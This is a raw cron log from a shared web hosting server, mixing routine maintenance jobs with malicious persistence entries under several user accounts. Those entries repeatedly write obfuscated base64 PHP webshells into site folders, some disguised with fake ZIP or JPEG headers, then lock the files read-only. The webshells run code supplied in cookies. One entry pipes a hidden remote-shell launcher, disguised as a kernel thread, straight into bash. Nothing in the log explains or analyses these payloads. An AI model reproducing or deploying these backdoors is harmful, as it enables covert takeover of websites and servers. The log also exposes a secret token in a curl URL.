Mar  1 10:59:01 medusa CROND[5148]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:59:01 medusa CROND[5149]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 10:59:01 medusa CROND[5151]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:59:01 medusa CROND[5164]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:59:01 medusa CROND[5165]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:59:01 medusa CROND[5166]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:59:01 medusa CROND[5183]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:00:01 medusa CROND[27314]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 11:00:01 medusa CROND[27342]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 11:00:01 medusa CROND[27483]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 11:00:01 medusa CROND[27484]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 11:00:01 medusa CROND[27485]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 11:00:01 medusa CROND[27486]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 11:00:01 medusa CROND[27487]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 11:00:01 medusa CROND[27488]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 11:00:01 medusa CROND[27489]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 11:00:01 medusa CROND[27490]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Mar  1 11:00:01 medusa CROND[27498]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:00:01 medusa CROND[27501]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:00:01 medusa CROND[27502]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 11:00:01 medusa CROND[27507]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:00:01 medusa CROND[27509]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Mar  1 11:00:01 medusa CROND[27508]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:00:01 medusa CROND[27515]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:00:01 medusa CROND[27516]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 11:00:01 medusa CROND[27526]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:00:01 medusa CROND[27522]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 11:00:01 medusa CROND[27530]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  1 11:00:01 medusa CROND[27531]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 11:00:01 medusa CROND[27533]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 11:00:01 medusa CROND[27537]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:00:01 medusa CROND[27539]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 11:00:01 medusa CROND[27540]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 11:00:01 medusa CROND[27541]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:00:01 medusa CROND[27543]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:00:01 medusa CROND[27529]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 11:00:01 medusa CROND[27547]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Mar  1 11:00:01 medusa CROND[27548]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:00:01 medusa CROND[27538]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Mar  1 11:00:01 medusa CROND[27550]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Mar  1 11:00:01 medusa CROND[27552]: (wmondolo) CMD (/usr/bin/php -q /home12/wmondolo/public_html/lista/cron_insert_turno.php > /dev/null)
Mar  1 11:00:01 medusa CROND[27566]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  1 11:00:01 medusa CROND[27568]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:00:01 medusa CROND[27574]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 11:00:01 medusa CROND[27512]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 11:01:01 medusa CROND[17550]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 11:01:01 medusa CROND[17586]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:01:01 medusa CROND[17611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:01:01 medusa CROND[17612]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:01:01 medusa CROND[17614]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:01:01 medusa CROND[17616]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:01:01 medusa CROND[17617]: (root) CMD (run-parts /etc/cron.hourly)
